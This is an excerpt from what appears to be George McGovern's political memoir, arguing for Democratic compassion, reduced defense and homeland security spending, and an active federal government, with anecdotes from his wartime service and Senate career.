A bleeding-heart liberal, by definition, is someone who shows enormous sympathy toward others, especially the least fortunate. Well, we ought to be stirred, even to tears, by society's ills. And sympathy is the first step toward action. Empathy is born out of the old biblical injunction "Love thy neighbor as thyself."
My empathetic nature is a gift from my mother, Frances McLean, and my father, the Reverend Joseph McGovern, a pastor of the Wesleyan Methodist church. We followed the path set by its founder, John Wesley, who believed that it was our responsibility to show compassion for the homeless, the sick, the vulnerable; for miners and factory workers. From my earliest days, that message—which, at its center, is about basic human compassion—took root deep in my soul. It's ironic that, while my parents were Republicans, the values they instilled in me made me a Democrat. I might add that in Republican South Dakota I was repeatedly elected to high office by winning nearly all the Democratic voters and one-third of the Republicans.
A good Democrat feels genuine concern for our fellow human beings and for all living creatures. This means helping people who are too old or too young or too infirm to take care of themselves. It means speaking out on behalf of people who are so financially stretched they cannot afford heat—or they have to make an untenable choice between buying food or medicine. It means not giving the wealthy tax breaks at the expense of the middle class. It means refusing to turn Medicare into a voucher program, kill Head Start, or abandon nutrition programs for the elderly poor. We Democrats do not shun our responsibility to assist the unemployed, the physically or mentally ill, the hungry or the homeless. We do not oppose pay raises for our military at a time when many enlisted soldiers are dependent on food stamps to feed their families.
Just as Franklin Roosevelt restored hope to millions of Americans who lost their jobs, their homes, and their life savings during the Depression, it is part of our Democratic mandate to help those in trouble. We are the party behind Social Security, Medicare, and Medicaid. We are the party of Franklin Roosevelt's New Deal, John Kennedy's New Frontier, and Lyndon Johnson's Great Society.
I went into public service to help those who struggle, to fight for people who had no one to fight for them, to see that the poor had a fair shot at earning a decent wage. That's what Democrats stand for.
And over time, I have learned that empathy for our fellow man is not only the moral response, it is often, ultimately, less costly.
I saw compassion at work at the end of World War II. I was in the Fifteenth Air Force and had just completed the thirty-five combat missions that all Army Air Corps pilots were required to fly. If we survived, we would be sent back to the States. It was June 1945, and the war ended just a few days after I was done. But our commander, General Nathan Farragut Twining (he went on to become chairman of the Joint Chiefs of Staff), sent down a memo directing us to leave behind the food, clothing, and medicine in our kits for the Europeans, who had lost everything. He asked for volunteers to fly the supplies up to northern Europe. The previous March, I had received a cable that my wife, Eleanor, had given birth to a little girl, Ann Marian. At war's end Ann was three months old. I was anxious to return home to my young family, to meet our new baby. But I volunteered for the humanitarian mission. It was the right thing to do. In some cases we were bringing food to people we had been bombing a short time ago.
The Europeans I met were enormously grateful. I came to think of our supply flights as a miniature version of the European Recovery Program, forever known as the Marshall Plan, named after Franklin Roosevelt's chief wartime military adviser, Secretary of State George C. Marshall. Launched in 1948 with the bipartisan support of a Democratic president, Harry S. Truman, and a Republican Congress, the Marshall Plan gave $13 billion in economic aid to Europe; in the context of a total U.S. economy of just $258 billion, it was a hefty sum. Knowing we had fulfilled our moral obligation to help restore the countries decimated by the war—including our former enemies—I took great pride in America.
The Marshall Plan was a national act of compassion. It was also instrumental in shaping a more peaceful, prosperous, and democratic Western Europe, and especially in establishing indelible bonds with Germany.
Looked at from a bottom-line perspective, the Marshall Plan was indeed expensive. But when we contrast the post–World War II period with the aftermath of World War I, it seems a small price. In 1918, Republicans opposed Democratic president Woodrow Wilson's blueprint for a League of Nations. The harsh way in which the victors dealt with Germany spawned the popular rage that brought Adolf Hitler to power, ultimately leading to World War II and the holocaust of six million Jews.
So compassion does more than make people feel good; it is a smart way to approach the world.
By the time I became a senator in 1963, our involvement in Vietnam was escalating steadily. I strongly opposed this war, and in 1965, after the first combat troops were deployed, I went on a fact-finding trip to Southeast Asia to make sure that my position was well-founded. At a military hospital, I met brave young American soldiers, each of whom was a victim of sniper fire or of a land mine that took a leg, an arm, a face. The men's stories devastated me, especially since they were really boys still. I got special permission to stop at a civilian hospital in Da Nang, where I saw hundreds of bloodied and bandaged Vietnamese men, women, and children lying about on the hospital grounds, the front porch, and, sometimes, two to a cot in a ward. All had been wounded by shrapnel from American bombs.
These were key experiences in making the withdrawal of United States military forces out of Vietnam my "magnificent obsession," as a member of my Senate staff once called it. For a decade, until our last soldier left in 1975, the war was at the top of my mind. By the end of the war, 58,000 Americans, two million Vietnamese, two million Cambodians, and two million Laotians died in the conflict. My anguish over our continuing involvement in that faraway country was the driving force of my public career.
Another preoccupation of mine has been feeding the hungry. In 1957, as a fledgling U.S. congressman of a farming state then known for corn, wheat, and pigs, it didn't make sense to me that our nation's surplus wheat was piling up in American storage facilities while millions of people—some down the street, others continents away—went without food. A few years later I got the opportunity to do something about this profound disparity. As director of the Food for Peace program under President John F. Kennedy, it was my job to distribute excess food from U.S. farms to people in need at home and abroad. Again, in the late 1990s, as U.S. ambassador to the United Nations Food and Agriculture Organization, my goal was to reduce the number of hungry people around the world, a project I continued when Bob Dole, my good friend from the Senate and a Republican, supported my appointment as U.N. ambassador on world hunger.
But you need no official title to be compassionate. If you are concerned about your health, be concerned about the health of all Americans. If you are concerned about quality education for your children, how can you not be vocal about a quality education for all children? At a time when many Americans are an emergency-room visit or a broken transmission away from financial catastrophe, it is incumbent upon us to create a cushion by extending Medicare to all Americans, making sure we pay a living wage, and skewing income taxes toward those who earn the most money. I don't mean this as a punitive measure. As Democrats, we must support policy that is fair for all. We must resist the desire to do what is best for ourselves at the expense of those with less. Americans deserve leaders who put the voters first, which is something the GOP doesn't do. It's why it stuns me each time I hear of another election in which blue-collar workers have voted Republican—against their own economic self-interest.
Many Americans have lost faith. Social mobility—the ability to advance from one class to the next—has been such a defining characteristic of our country that it has its own shorthand: the American Dream. But two of its key components, a college education and owning a home, are becoming more difficult for many people to achieve. While 63 percent of Americans are optimistic about their family's future over the next fifty years, according to the Pew Research Center, this is a significant drop from the 81 percent who felt that way in 1999.
This falloff in confidence is understandable. We hear near-daily reports of questionable or illegal corporate dealings and cover-ups, the erosion of workers' rights, and the news that the wealthiest 1 percent of our population gained 24 percent of the nation's income. In 2010 thirty-two companies compensated their top executives more than they paid in corporate income taxes. Companies that laid off thousands of workers or were rescued by government bailouts are paying their CEOs and other top executives annual multimillion-dollar bonuses.
This erosion of the American way of life began in 1981, when Ronald Reagan became president. The GOP began dismantling the New Deal policies that spawned a thriving middle class. I bear no animosity toward Republicans, but I have learned, sadly, that working toward a common good is not usually their party's goal. Too often, their aim is protecting corporate interests.
Remember "compassionate conservatism," George W. Bush's catchphrase in his bid for the White House in 2000? He eventually stopped talking about it. My guess is that was because he had his hands full launching two wars—or because he realized that the precarious balancing act he had set for himself was impossible to carry out, given the constraints of his party's ideology. You can't say you want to help immigrants and then step up efforts to prosecute them, as Bush did. You can't say you want to help the middle class and then focus your tax cuts on the wealthy, as Bush did. You can't say you want to help seniors and then try to link Social Security to the stock market, as Bush did. And can you imagine what a disaster that would have been during our latest recession?
There was nothing compassionate about the fact that real wages failed to grow during Bush's tenure as president. People were borrowing—amassing greater household debt—just to maintain the same quality of life, just to run in place!
John A. Boehner, the Republican Speaker of the House, is known for weeping when he speaks of his hardscrabble childhood, but over the course of more than two decades as a legislator, Boehner has consistently nixed legislation that would have made it easier for others to get a toehold into the American Dream. He has voted against increasing the minimum wage, voted against unemployment benefits, voted against student aid. Yet I'm told that as an individual he is a reasonable, good man in the eyes of both Republicans and Democrats.
I do not say that Democrats' openhanded approach to humankind is wholly selfless. We like getting ahead as much as anyone. But we realize that we are only as strong as the weakest among us. That's why we are the party of compassion.
FEAR AND DEFENSE SPENDING
**E** veryone remembers what they were doing on September 11, 2001, when the news came that a plane had crashed into the north tower of the World Trade Center, followed minutes later by a crushing blow to its twin. I was in Paris, finishing lunch with the editors of the _International Herald Tribune_ in my capacity as U.S. ambassador to the United Nations Food and Agriculture Organization when we got the first sickening reports. I was preparing to depart on a mission to Africa. As the events of the day unfolded, I recall thinking that the situation seemed in a number of ways far worse than the bombing of Pearl Harbor. I was just nineteen on December 7, 1941, when an announcer broke into the New York Philharmonic radio broadcast I was listening to for my college music appreciation class. There were many more casualties in that attack. But Hawaii wasn't yet a state. Few Americans even knew where it was.
Watching the horrific events of 9/11 was an unimaginable shock to the American psyche. A _A New York Times_ on September 12, 2001, described the previous morning as a time "in which history splits, and we define the world as 'before' and 'after.'"
Many years later, we still inhabit that "after" world. It is a world with color-coded alert levels, complex security procedures in government and office buildings, bomb-sniffing dogs, and public announcements about unattended bags. Since 9/11, we've had the shoe bomber; the underwear bomber; the Fort Hood, Texas, shooting rampage; the failed car bombing in New York's Times Square; and about three dozen other attempted terrorist attacks in the United States alone.
But even with these myriad threats, I believe we have overemphasized the danger we're in. We live with too much fear and not enough common sense. The whole silliness of our response is exemplified by what has happened at our airports. Once sources of architectural pride, air terminals are now barricaded behind concrete. Inside, we are required to remove our shoes and belts, hand over our gels and liquids, and submit to body scans—with the ante being raised each time there's a new scare. What upsets me the most is when I see an elderly woman trying her darnedest to comply with these ridiculous rules, as if she could possibly be harboring an explosive in her toothpaste.
Now that our initial distress over 9/11 has dissipated, I suggest that we stop this needless hassle, a palliative that costs $7 billion a year and rising. To my mind, in fact, the entire Homeland Security department—with its more than 200,000 employees and more than $42 billion budget—ought to be dissolved. The third largest Cabinet department, behind Defense and Veterans Affairs, it sprang from 9/11's shock waves to put the agencies that deal with counterterrorism, including airport safety, under one roof. I believe we should leave the business of protecting the American public from terrorist attacks to the FBI, the CIA, and our police departments. (The FBI has a vibrant counterterrorism branch but somehow manages to stay independent.) But I suspect that of all the discretionary funds Congress could swing its scythe at, it will not fell the Homeland Security behemoth. Why? Its very existence makes us feel safer.
We are a nation in which fear and paranoia run deep. Since the Pilgrims made landfall in 1620, we have burned so-called witches at the stake, hauled Japanese-Americans to internment camps, and blacklisted people who we labeled Communists. It's as though we are never without an enemy, whether from within or without, real or imagined.
The purpose of terrorism is to knock people off balance. We don't need to do the perpetrators' work by terrifying ourselves, by looking for a bogeyman in every closet. But we have done exactly that. As Walt Kelly's famous cartoon character Pogo said in 1970, "We have met the enemy and he is us."
In my lifetime, I believe Republicans have fomented popular fears to their best advantage. Only after Senator Joseph McCarthy, a Republican from Wisconsin, took his finger-pointing too far—accusing the Army of being infiltrated by Communists—did his influence wane. In the meantime, he fanned our anxieties to the point that Americans were imagining a Soviet spy or sympathizer behind every tree.
But that wasn't the end of the GOP's fear factor. In 1968, Richard Nixon's "law and order" mantra played subtly on southern whites' racial concerns. Ronald Reagan's wedge issue? "Cadillac-driving welfare queens." George H. W. Bush's? Willie Horton. In 2002, George W. Bush and Dick Cheney sounded the 9/11 Klaxon to persuade Congress that we needed to invade Iraq. Two years later their entire reelection strategy was based on scare tactics. "The Democrat approach in Iraq comes down to this," President Bush said. "The terrorists win and America loses." For the record, there is not one thing that makes me angrier than the insinuation that I—or my fellow Democrats—are less patriotic than our Republican brethren. I would put my life on the line for our country any time, just as I did in World War II.
I was awarded the Distinguished Flying Cross for flying on thirty-five bombing raids over Europe during the Second World War. I didn't wait to be drafted. I enlisted in the Army Air Corps a few weeks after Pearl Harbor. The reason I wanted to become a combat pilot was because, even after taking a civilian pilot-training program, I hadn't been able to shake my fear of flying. I was determined to conquer it.
But I have noticed that a lot of people who beat their chests have never been near a military plane or a battlefield; they've never heard a bullet pass an inch above their skulls. They've never seen a buddy in arms gasping his way to death. Sometime in the late 1960s, as I had the floor trying to make the case against our continuance in Vietnam, a fellow senator stood up and said, "I stand with our troops. As long as I hold this seat, I stand with the troops."
I said, "You're not standing with our troops. They're in Vietnam. You're in the Senate, with air-conditioning, mahogany paneling, and pages to run your errands for you. Neither of us is standing with our troops." I added: "The best service we can render to the boys and youth we have sent into a mistaken war is to bring them home." The visitors up in the gallery are not supposed to applaud, but they did and I was grateful to them. I can still hear that clapping.
In those days I was against the national draft, and I called repeatedly to end it. But several years after the Vietnam War was over, my close friend Ted Kennedy, the late Massachusetts senator, led me to reconsider.
I still don't believe we should enact a draft in peacetime, but I think anytime Americans are involved in military operations, we ought to have a draft. It's only fair that all of us go to some risk in time of war. We shouldn't leave that to people who are too poor to make a living any other way. It's a national disgrace that working-class kids join the military to get their shot at the American Dream by qualifying for the GI Bill, which helps pay for college, while the kids who have enjoyed the most from our society are the least likely to serve our nation. Second, if the children of our country's leaders were serving in the military—if upper-middle-class kids were being drafted out of Harvard and Smith—we might never enter unwise wars like those we're in now or were in for so many years in Vietnam.
In talking about the Republican provocation of fear, I do not question that there are serious threats to the United States today. That is beyond dispute. The 9/11 attack opened many eyes to the hatred on the part of zealous young Muslims against America and all that we stand for—a sentiment that Osama bin Laden was able to seize upon and organize against us. And even though bin Laden is now dead, the underlying hostility still exists. But I wonder about our exaggerated reaction to the physical danger. The Patriot Act invades our privacy at home, while abroad we continue to be engaged in an unfounded war against Afghanistan. And despite President Obama's drawdown, we continue to have 46,000 U.S. troops in Iraq. None of these things will make us safer. They simply take away money we dearly need to address other national priorities.
The only thing that has been more self-destructive than the money we've wasted on the Homeland Security department's massive bureaucracy has been our overspending on defense. Our military budget is loaded with needless but frighteningly expensive overkill. It gobbles up tax money that is urgently needed in other parts of our national life. We skimp on education, health care, renewable energy, and clean water and air. (Sometimes our diplomacy is as witless as our defense spending. A clear example of diplomatic folly is our sixty-year boycott of Cuba and refusal to recognize her diplomatically. Although Cuba is a small island with almost no military, we have refused to carry on any relations with the Cubans. This has been the case since Fidel Castro overthrew the corrupt dictator Fulgencio Batista in 1959. Batista had been in bed with the Mafia gangsters who ran the nightlife of gambling and sex in Havana.)
Each year our war machine claims the largest discretionary portion of the federal budget. I was heartened by President Obama's acknowledgment of this reality in his June 2011 TV address to the nation, when he said: "Over the last decade, we have spent a trillion dollars on war, at a time of rising debt and hard economic times. Now, we must invest in America's greatest resource—our people." I couldn't have agreed more when he said, "America, it is time to focus on nation building here at home."
As anyone who followed my political career knows, I have never believed that endless military spending was the right course.
On August 2, 1963, in my second speech as a freshman senator, I took the floor to oppose our involvement in Vietnam. I called for lowering the then $50 billion military budget by $5 billion—a huge amount in 1963 dollars. "Have we not remembered that the defense of a great nation depends not only upon the quality of its arms, but also on the quality of its economic, political, and moral fabric?" I asked.
"Is the size of our military budget the chief criterion of effective international leadership and national strength in today's world?"
Fervently believing the answer to both of my questions was—and still is—no, I continued to call for a reduction in military spending each year until I left the Senate in 1981, swept out by the Republican tide that brought Ronald Reagan into the White House. But my efforts were hardly more than a futile exercise. When the Soviet leader Mikhail Gorbachev and Reagan agreed to a broad nuclear disarmament concept, it marked the beginning of the end of the Cold War. Already the United States had done away with the Cold War–era formula known as the "two-and-a-half-war doctrine," which provided us with a military strong enough to take on the Soviet Union, China, and a lesser country simultaneously, should the need arise. But even with those reductions, the outcome is the same: we still have far more deterrence capabilities than we need. Indeed, I know of no country that is spoiling for war with the United States or wants to invade our shores. These days, if we want a war we have to send our soldiers into some other country.
The U.S. defense budget now stands at $700 billion (a figure that includes our nuclear weapons program and the supplemental costs of executing two wars), the highest it has been since World War II, adjusting for inflation—and about as much as the total of the world's other nations' military budgets combined. It consumes roughly half of our nation's discretionary spending. So it's curious to me that Tea Party extremists who want to reduce the federal government target infant formula, job training, and medical research rather than the Department of Defense. As I write, Republican congressman Paul Ryan's "Path to Prosperity" budget calls for a 3 percent cut, or $22 billion, in the Pentagon budget. It would take five times that—$120 billion—just to bring it back to what it was under President Clinton. President Obama's initial request for 2012 was $680 billion, or 51 percent of all U.S. discretionary spending, meaning that his baseline budget would go up even as the cost of prosecuting our wars falls.
You might be surprised to find that my role model for setting military spending is neither a liberal nor a Democrat. It is Dwight David Eisenhower, a Republican who was elected president after serving as the Supreme Allied Commander during World War II. His farewell address, given at the White House, was shorter and less polished than the better-known inauguration speech that John F. Kennedy delivered from the U.S. Capitol's East Portico three days later. But Eisenhower's vision of the future, while more ominous, was more prescient than JFK's soaring words.
As President Eisenhower explained, the Cold War years were the first in which the United States had a permanent armaments industry. "We can no longer risk emergency improvisation of national defense," he said. But just as George Washington cautioned against foreign entanglements in 1796, Eisenhower reminded Americans that we "must guard against the acquisition of unwarranted influence, whether sought or unsought, by the military-industrial complex."
I am told that in an earlier draft of his speech, he used the more apt phrase "military-industrial-congressional complex," acknowledging the complicated role that the Senate and House of Representatives play in determining what the military can spend.
Cutting defense spending takes a measure of political will that my congressional colleagues could never muster. I understand why. First, each state has at least one military installation or factory producing military goods that provides jobs for constituents. Second, members of Congress do not want to give their political opponents an opening to brand them as "weak on defense." I had to answer that charge on more than one occasion in South Dakota. But self-preservation by politicians can lead to disaster, as it did in 2002 when the fear of looking "soft" on terrorism prompted Congress to approve of George W. Bush's wrongheaded war in Iraq. Iraq had absolutely nothing to do with the 9/11 attack, nor did Iraq have any nuclear weapons as Bush, Cheney, and Rumsfeld told us. They even brought General Colin Powell, then secretary of state, into this falsehood.
Presidents are certainly not immune to the impulse to look tough on military matters. President Reagan's weapons buildup was one of the hallmarks of his first term as president (along with his tax cuts). Any peace dividend we enjoyed under George H. W. Bush at the end of the Cold War did not last long. The defense budget rose again during the second term of Bill Clinton, who apparently wanted to establish an image as an unflinching leader beside a Republican Congress intent on impeaching him (one of the most ludicrous congressional efforts in American history). And in 2009, when President Obama agreed to a troop surge in Afghanistan, I believe he did so at least partly to send an unequivocal message that he was a commander in chief with a firm hand.
But there is more than one definition of "tough." We need to end the false choice between a bloated budget and a weak spine. Imagine what might have happened if more members of Congress had questioned President Bush's rush into Iraq. Thousands of lives might have been spared. And according to estimates by Nobel Prize–winning economist Joseph Stig-litz, $3 trillion in direct and indirect expenses might have been saved too. As for the Iraqis, our unjustified invasion and prolonged occupation smashed their country.
Do not mistake what I am saying. I do not want to strip this country of its military might. I understand that deterrence is vital to our well-being. But do we honestly think Iran or North Korea will launch a preemptive strike against the United States? Remember that our arsenal of fighter jets, battleships, submarines, and nuclear missiles did not stop nineteen al-Qaeda–trained men from bringing down four U.S. commercial airliners with box cutters and a few cans of Mace on 9/11.
I'm familiar with the argument that Osama bin Laden's death was a triumph of U.S. military might. But if you'll pardon the expression, I believe that is baloney. The cost of the small, hard-hitting, smooth-working squad of Navy SEALs that captured and killed bin Laden at his Pakistani compound was a minuscule fraction of the cost of the Afghan war. Our most symbolic victory was won by Special Ops, with a handful of men—not the 100,000 soldiers on the ground.
It seems that many Americans, especially Democrats, are finally losing their appetite for excessive military spending. An opinion poll by the Pew Research Center found that today just as many voters favor a decrease in military spending as favor an increase.
In a careful and convincing study, Lawrence Korb, a senior fellow at the Center for American Progress and a former assistant secretary of defense under President Reagan, and his associate Laura Conley have identified "unproven, over-budget, or strategically unnecessary" weapons and weapons programs that could be cut or canceled and not missed. Among them: the V-22 Osprey tilt-rotor aircraft. According to the study, the Osprey program has been plagued by so many technical problems since its 1991 inception that Dick Cheney, then secretary of defense, called it a "turkey." Rejecting the Navy's request for twenty-four new Ospreys would save $9.1 billion. Also: cut procurement of the Navy and Marine F-35 Joint Strike Fighter variants. Since 2002, estimates of the lifetime operational costs of the F-35 have more than doubled to $1 trillion. Alternative fighter jets such as the F/A-18E/F Super Hornet continue to be effective in the Navy and the Marines, so cutting their variants while allowing the Air Force to keep its entire buy would control spiraling costs without compromising American air superiority. Savings: $16.43 billion by 2015.
Beyond the cost of needless tanks and submarines are our unnecessary expenditures on personnel. It is well past time to bring home our troops not only from Iraq and Afghanistan but also from Western Europe and South Korea. Hitler has been dead for more than sixty years. The Korean conflict ended in 1953. These onetime theaters of war, where our forces number 120,000 and 29,000, respectively, no longer need to use the United States as their policemen.
I'm reminded of the slogan I used in my 1972 campaign, "Come Home, America"—a mantra we borrowed from Martin Luther King Jr. The idea was to bring the electorate back to the values upon which our nation was founded. Now I believe that same catchphrase is applicable in a different context: it is time to bring our troops home and tend to the pressing domestic matters we have overlooked for far too long. President Obama has announced a 10,000-troop withdrawal from Afghanistan in 2011, with a second withdrawal of 23,000 soldiers in 2012. It's a start. But why are we not bringing them all home, right now?
In the tradition of President Eisenhower's farewell address, Admiral Michael Mullen, outgoing chairman of the Joint Chiefs of Staff—the nation's senior military officer—has warned that our mounting national debt is weakening our economy so much that it is the single biggest threat to national security. By overemphasizing defense, we weaken other sources of our national strength: the quality of our children's education, the health of our citizenry, and our stewardship of the environment. No one decision will solve all of our problems, but by making the cuts I've suggested and others according to the Korb-Conley study I mentioned before, we can save more than a trillion dollars in the current decade.
It is time for Democrats—and for all Americans—to acknowledge that we are well past a place of diminishing returns. A generation ago, under far different circumstances, the Soviet Union spent so much on its arms buildup against the United States that its economy collapsed. As an old history professor, I am wondering if perhaps there is not a lesson in there for us. Being the strongest country on earth doesn't mean much if our citizens cannot find worthwhile jobs or affordable housing, quality schools, good health care, and a clean environment.
THE PURPOSE OF GOVERNMENT
**G** rowing up in Mitchell, South Dakota, in the 1920s, I remember a parishioner coming to my father's parsonage and condemning income taxes. My father, a Republican, nonetheless said, "Brother Smith, if you're paying high income taxes, it means you're making a lot of income, so praise the Lord!"
I could understand the man's surprise, because the modern income tax system, established in 1913, hadn't been around very long at that point. Still, my father's response made sense to me then, and it still does.
It always annoys me when people recite that tired chestnut about death and taxes, with taxes coming out as the less desirable option. When I came home from Europe after World War II, tax rates were much higher than they are now (from 1950 to 1963 the marginal tax rate on the wealthiest Americans topped 90 percent). It was a time of enormous change in our country: we established the Marshall Plan (officially, the European Recovery Act) in Europe, broke ground for America's new Interstate Highway System, and, with the help of the GI Bill, enabled veterans to go to college and buy their first homes. I was proud to help support the growth happening all around me.
Today I put taxes in the same category as paying a mechanic to change the oil in my car, a handyman to clean the gutters on my house, or a cardiologist to check the condition of my heart. I spend money on these services and products, because that's what it takes to maintain a life in which the things I depend on—car, gutters, ventricles, to name a few—work properly.
It's the same when I send a check to the Internal Revenue Service each April. In return, I get such necessities as air traffic control, the defense of our borders, clean water, a safe food supply, health care, pristine national parks—the list is long. Because my taxes help not only me, my children, and my grandchildren but also other families, I can't help but think that whatever I pay, it's the best investment I make.
I often feel that the federal government is more sensible about spending than I am. Like other consumers, I sometimes buy clothes I don't need, a new car when the old one runs fine, or a new TV because it's wider, it's flatter, or it has a sharper image than the model in my living room. I've always believed the United States is the greatest country on earth, and yet, in some cases, we're taxed far less than our European counterparts: in 2009, the average U.S. wage earner paid 29.4 percent in income taxes and Social Security compared to 49.2 percent in France, 50.9 percent in Germany, and 32.5 percent in the U.K.
But my confidence in our government is not naive. I know that its workers can be wasteful and inept; that its programs can suffer duplication, ineffectiveness, and inertia; that it is susceptible to cheating and fraud. These are challenges that we can and must address. But I am also sure that our national government does far, far more good than harm. As the late Ted Sorensen, a personal friend, best known as President Kennedy's legendary speechwriter and special adviser, wrote in _Why I Am a Democrat_ : "When government is honest, efficient, and democratically representative of the people's will . . . it can be an indispensable means by which society can improve itself, curb the inevitable ills, excesses, and injustices of the private sector and improve the human condition and sense of community for all."
And while Republicans love to point out the superiority of the free market, it's important to remember that just as government is far from infallible, so too do private enterprises fail us from time to time. Think Bernie Madoff and Enron, just for starters.
I believe that government and business work best when they work together. In 2008, as in 1929, it was too little government regulation—not too much—that led to the subprime mortgage crisis and the unraveling of our banking system, the reverberations of which nearly brought down the global economy. And it was the government, in the form of the Troubled Asset Relief Program (TARP), aimed at financial institutions deemed "too big to fail," that helped Wall Street come roaring back, although Main Street continues to sputter.
According to the _Wall Street Journal_ in 2009, Wall Streeters—executives, investment bankers, traders, and money managers at thirty-eight top financial companies—earned $145 billion, a gain of 18 percent over their 2008 earnings of $123.4 billion and a 6 percent increase over the $137.23 billion paid out in 2007, a record year. Contrast this leap with the 1 percent gain made between 2007 and 2009 in the real median earnings of full-time, year-round male workers. Women's income in the same period did not grow at all.
I believe that Americans generally want our government to be strong, active, and creative in dealing with our problems. That's why the New Deal generation was so enthusiastic about Franklin Roosevelt's initiatives to end the Depression. He put young men to work, created Social Security to give older Americans a cushion against poverty, powered up the Tennessee Valley Authority, and safeguarded our bank deposits.
FDR's Rural Electrification Administration is one of my favorite examples of government ingenuity. In the 1910s and 1920s, because it didn't make good business sense for private electric companies to put up power lines in sparsely populated areas, including parts of South Dakota, many families had to depend on lanterns when dusk came. As a boy I remember being scared when we were in the countryside after nightfall. (In truth, I don't know whether I was more anxious of the dark or of getting caught, since generally, when my friends and I were out at that time of day, it was to steal watermelons.) My personal situation aside, in the 1930s the federal government took up the electrification challenge and solved it handily, bringing power and light to people in remote places, from Alabama to Oregon. I know it made the farmers outside Mitchell feel a lot less lonely.
A good Democrat subscribes to the philosophy that strength comes from drawing together in this way to serve the collective good. The federal government is simply the conduit. As Teddy Roosevelt, a Republican and one of our most progressive presidents, said: "The government is us; we are the government, you and I."
But our federal government—you and I—has never been under more forceful attack from the right, especially by the Tea Party extremists, than now. My guess is that the movement is rooted in the anger of people who are not doing as well economically as they had hoped, who feel that life has not dealt with them in an encouraging way, and who are lashing out at the government, an easy target. Tea Party Republicans have convinced many people that Washington does not have their best interests at heart.
No matter the cause, the result is that the annual wrangling over the federal budget—along with the discussions over tax reform and the national debt ceiling (the highest in our history) that are raging as I write—have so frayed the relationships between Democrats and Republicans in Congress that it is difficult to imagine how meaningful compromise can occur. Civility is at a new low in our politics and in much of the media as well.
How we resolve our dueling visions is of no small moment. The answers will determine not only who gets what share of the American pie but our very identity as a nation. It seems to me that our two political parties are separated by one of the largest chasms since the nation was divided on the expansion of slavery.
Democrats are not knee-jerk people who want a sprawling government for its own sake. Between 1933 and 1940, expenditures on Franklin Roosevelt's New Deal programs totaled just $7 billion each year, but that money rippled out to lift up millions of people. FDR was successful not because of how much he spent but because he was able to direct the government's power to serve the people—and he had a clear sense of what defined the nation's best interests.
What mattered to Democrats then and now is that we have an effective government—a government that keeps the social compact we established over the course of nearly four centuries, starting on board the _Mayflower_. When pioneer families headed west to settle new parts of our great land, life on the frontier could be unforgiving. But they didn't keep going if they saw another wagon in distress. They stopped to help fix the broken wheel. They didn't leave their parents behind on a hillside when they were no longer productive. They fed them and gave them a place to sleep.
Republicans celebrate the individual. But they forget the importance of community and generosity—the spirit that motivates a neighbor to lend a hand to the famer whose barn burned down in a lightning strike or the widow rearing a brood of hungry children because her husband died in a workplace accident. The frontier meant freedom and opportunity, but it also symbolized misfortune and trouble. We Democrats recognize this about the past and the present. This is the spirit that our party must now carry forward.
At our core, Democrats believe that it is the government's job—or, to paraphrase Teddy Roosevelt, yours and mine—to empower all of our citizens through health care and a good education, to give them the potential to become anything and everything they can be. Reasonable people can disagree on what type of help we should offer—and how much—when people are in trouble. But the underlying philosophy is this: help we must.
Today's Republicans, on the other hand, believe that the public is best served when it is hardly served at all. To quote Ted Sorensen once again, "In Republican eyes, government should be a clerk, not a leader."
The real truth is that the Republican view of government is not always impassive. Republicans, in fact, are aggressively supportive of government when it fits their thin purposes. They support telling Americans what to do in the bedroom. They support restrictions on individual privacy. They support limits on the judgments citizens can receive in the courts and the power of unions and workers' rights. They support tearing down the hallowed wall between church and state. They generally support withholding civil rights from gay Americans.
They even meddle in a person's right to die. Remember how, in 2005, the Republican Congress passed a bill to try to prevent Terri Schiavo's husband from taking her off a feeding tube even though she had been in a "persistent vegetative state"—unable to respond purposefully to any stimuli—for fifteen years? What was small-government about that?
I think of the differences between the parties this way: Democratic thinkers have an appreciation for what government can do and an equal respect for where it does not belong. Republicans insert government into areas where it should not venture—when it suits their business interests and moral claims.
But it's how Republicans and Democrats are shaping the 2012 budget that offers the starkest reminder of our dissimilarities. The Republican solution to the deficit problem is simple: cut billions of dollars in federally funded programs, from Medicaid and Medicare to clean energy and student financial aid.
Their excuse? The fact that we have hit our national debt ceiling—the total amount of money the federal government can borrow from itself and from U.S. and foreign investors. They say we must either raise the limit or default on our financial obligations. Never before has raising the debt limit been equated to the end of the world. Since 1962, Congress has raised it more than seventy times (including ten times in the past ten years). But in a game of political brinksmanship, the Republican-led House of Representatives insisted on budget cuts that _exceeded_ the debt limit increase—and framed it as the Democrats' fault if we could not meet their demands and, in the end, had to default on our national obligations. And the battle still wages.
It is interesting to note that while Republicans blame Democrats for taxing and spending our way into an unsustainable situation, the first dramatic increase in our debt occurred during the eight years of Ronald Reagan's presidency. It was a period of sizable tax cuts matched only by his spending spree to accelerate the arms race against the Soviet Union. If President Reagan had cut federal spending in an amount roughly equivalent to the tax cuts he championed, he might have prevented deficit financing. Instead he added $4 trillion to the national debt.
I'm the first to say that piling on to the national debt is not a good idea in perpetuity. We have to pay it down as a share of our economy. We do not want to be beholden to creditors whose politics and, perhaps, agendas differ from our own. Nor do we want to add to the burden our children and grandchildren will shoulder. This is not some vague idea for me. I am a father of five children, the grandfather of twelve, and the great-grandfather of six. And yet, lowering the debt does not carry the urgency that many people have placed on it. With our economy's recovery in such a feeble state, gutting our social programs today simply for the sake of hitting an arbitrary target number is austerity for the sake of politics. It will cost us several hundred thousand jobs at the very moment that we are trying to make up for lost ground. It makes as much sense as putting a starving man on a low-calorie diet. It would be far better to enact deficit-reduction measures now that will not become effective for a couple of years—at the earliest. This would have the effect of stabilizing the debt within a reasonable time period.
In 1980, when George H. W. Bush opposed Ronald Reagan for the Republican nomination, he called Reagan's supply-side economic theory—the idea that a tax cut would stimulate the economy by freeing up more cash in the private sector—"voodoo economics." I have always had great respect for President Bush Sr. as a leader who knows the value of coalition building and compromise. Though he stopped criticizing Ronald Reagan's ideas early enough in the campaign to become his running mate, time has proved George H. W. Bush's original assessment to be correct.
